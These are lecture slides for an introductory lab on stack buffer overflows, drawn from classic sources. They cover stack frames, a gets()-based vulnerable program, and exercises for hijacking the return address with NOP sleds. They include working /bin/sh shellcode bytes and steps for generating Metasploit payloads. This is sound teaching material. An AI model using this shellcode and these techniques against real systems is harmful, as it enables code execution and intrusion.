Lab1: The Buffer Overflow
Credits

• This lab and examples are based very strongly (or outright copied from)

• The Shellcoder's Handbook by Jack Koziol, David Litchfield, Dave Aitel, Chris Anley, Sinan “noir” Eren, Neel Mehta and Riley Hassell
Credits

• You'll also want to read the seminal work on buffer overflows:
  – Smashing The Stack For Fun And Profit by Aleph One
Program Layout

• The structure of programs (on UNIX at least)
  Executable (.text)
  Global Variables (.bss and .data)
  Heap
  Stack
Program Layout

- Thanks to virtual memory, programs are always laid out at (nearly) the same addresses

Diagram:
- Stack
- Heap
- Global Variables
- Text
The Stack

- Made up of chained stack frames
  - local variables
  - parameters
  - return address
  - (and a pointer to previous stack frame)
int add(int a, int b)
{
    return(a + b);
}

int main()
{
    int c;
    
    c = add(1, 2);
}
The Stack

08048504:
08048504: 55    push %ebp             # save the old stack frame pointer
08048505: 89 e5    mov %esp,%ebp    # start using the new stack frame
08048507: 8b 45 0c mov 0xc(%ebp),%eax # compute a + b
0804850a: 03 45 08 add 0x8(%ebp),%eax #
0804850d: c9    leave               # stops using the new stack frame
0804850e: c3    ret                 # return from add()

08048510:
08048510: 55    push %ebp
08048511: 89 e5    mov %esp,%ebp
08048513: 83 ec 08 sub $0x8,%esp
08048516: 83 e4 f0 and $0xffffff0,%esp
08048519: b8 00 00 00 00 mov $0x0,%eax # calculate the size of a new stack frame
0804851e: 83 c0 0f add $0xf,%eax #
08048521: 83 c0 0f add $0xf,%eax #
08048524: c1 e8 04 shr $0x4,%eax # make sure that the stack frame is aligned
08048527: c1 e0 04 shl $0x4,%eax #
0804852a: 29 c4 sub %eax,%esp # allocate a new stack frame
0804852c: 6a 02 push $0x2 # push parameters onto the stack
0804852e: 6a 01 push $0x1 #
08048530: e8 cf ff ff ff call 8048504 # call add()
08048535: 83 c4 08 add $0x8,%esp # deallocate the return address
08048538: 89 45 fc mov %eax,0xffffffffc(%ebp) # store variable 'c'
0804853b: c9    leave
0804853c: c3    ret
The Anatomy of a Buffer Overflow

#include

void return_input(void)
{
  char array[30];

  gets(array);
  printf("%s\n", array);
}

main()
{
  return_input();

  return(0);
}
The Anatomy of a Buffer Overflow

% ./overflow
warning: this program uses gets(), which is unsafe.
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
array:  AAAAAAAAAAAAAAAAAAAAAAAA

% ./overflow
warning: this program uses gets(), which is unsafe.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
array:  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
The Anatomy of a Buffer Overflow

(gdb) info register

<table>
<thead>
<tr>
<th>Register</th>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>eax</td>
<td>0x67</td>
<td>103</td>
</tr>
<tr>
<td>ecx</td>
<td>0x67</td>
<td>103</td>
</tr>
<tr>
<td>edx</td>
<td>0x67</td>
<td>103</td>
</tr>
<tr>
<td>ebx</td>
<td>0x1</td>
<td>1</td>
</tr>
<tr>
<td>esp</td>
<td>0xbfbfe9d0</td>
<td>0xbfbfe9d0</td>
</tr>
<tr>
<td>ebp</td>
<td>0x41414141</td>
<td>0x41414141</td>
</tr>
<tr>
<td>esi</td>
<td>0xbfbfealc</td>
<td>-1077941732</td>
</tr>
<tr>
<td>edi</td>
<td>0xbfbfeea24</td>
<td>-1077941724</td>
</tr>
<tr>
<td>eip</td>
<td>0x41414141</td>
<td>0x41414141</td>
</tr>
<tr>
<td>eflags</td>
<td>0x10286</td>
<td>66182</td>
</tr>
<tr>
<td>cs</td>
<td>0x33</td>
<td>51</td>
</tr>
<tr>
<td>ss</td>
<td>0x3b</td>
<td>59</td>
</tr>
<tr>
<td>ds</td>
<td>0x3b</td>
<td>59</td>
</tr>
<tr>
<td>es</td>
<td>0x3b</td>
<td>59</td>
</tr>
<tr>
<td>fs</td>
<td>0x3b</td>
<td>59</td>
</tr>
<tr>
<td>gs</td>
<td>0x1b</td>
<td>27</td>
</tr>
</tbody>
</table>
Exercise #1

Make `overflow` loop

1) Locate the address of the call to `return_input()`
   Hint: use `disassem return_input` to find the address

2) Alter `address_to_char.c` to use that address

3) Compile `address_to_char`:
   ```
   cc -o address_to_char address_to_char.c
   ```

4) (`./address_to_char ; cat) | ./overflow`
shell.c
#include

int main()
{
    char *name[2];

    name[0]="/bin/sh";
    name[1]=0x0;
    execve(name[0], name, 0x0);
    exit(0);
}

does this:
% cc -o shell shell.c
% ./shell
% ./shell
$
Doing Something More Useful

shellcode-Linux.c
/* Run a shell via asm. No embedded NULL's. */
* Written by Aleph One - taken from 'Smashing The Stack For Fun And Profit'.*/
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main()
{
    int *ret;

    ret = (int *) &ret + 2;
    (*ret) = (int) shellcode;
}

does this:
% cc -o shellcode-Linux shellcode-Linux.c
% ./shellcode-Linux
$
Exercise #2

Use a buffer overflow to gain a shell

1) Examine: `less hole.c`
2) Compile hole: `cc -o hole hole.c`
3) `./hole 600 512`

Try some other offsets.
NOP Sleds

• Finding the single entry point is a lot of work. NOP "sleds" make this easier by making it so that we only need to be close.

• How do we do this? By executing NOP (or equivalent) instructions
NOP Sleds

• Just place a "NOP sled" in front of the shellcode and try to point the return address into the sled.

8044710: 90 ret
8044711: 90 ret
8044712: 90 ret
8044713: 90 ret
Exercise #3

Use a buffer overflow to gain a shell

1) Examine: `less nophole.c`
2) Compile: `cc -o nophole nophole.c`
3) `./nophole 600 512`

Try some other offsets. Do they work now?
Doing Even More

Metasploit contains an automatic exploit generator

1) cd framework-3.1
2) ./msfweb
3) Point a browser at http://127.0.0.1:55555
4) Open the Payloads window
5) Select Linux Execute Command
6) Tell it to execute /bin/ls /
7) Generate the shellcode
8) Copy and paste this shellcode into nophole.c and comment out the previous shellcode
9) Recompile and run nophole
Questions?
Lab1: The Buffer Overflow
Credits

• This lab and examples are based very strongly (or outright copied from)
• The Shellcoder's Handbook by Jack Koziol, David Litchfield, Dave Aitel, Chris Anley, Sinan “noir” Eren, Neel Mehta and Riley Hassell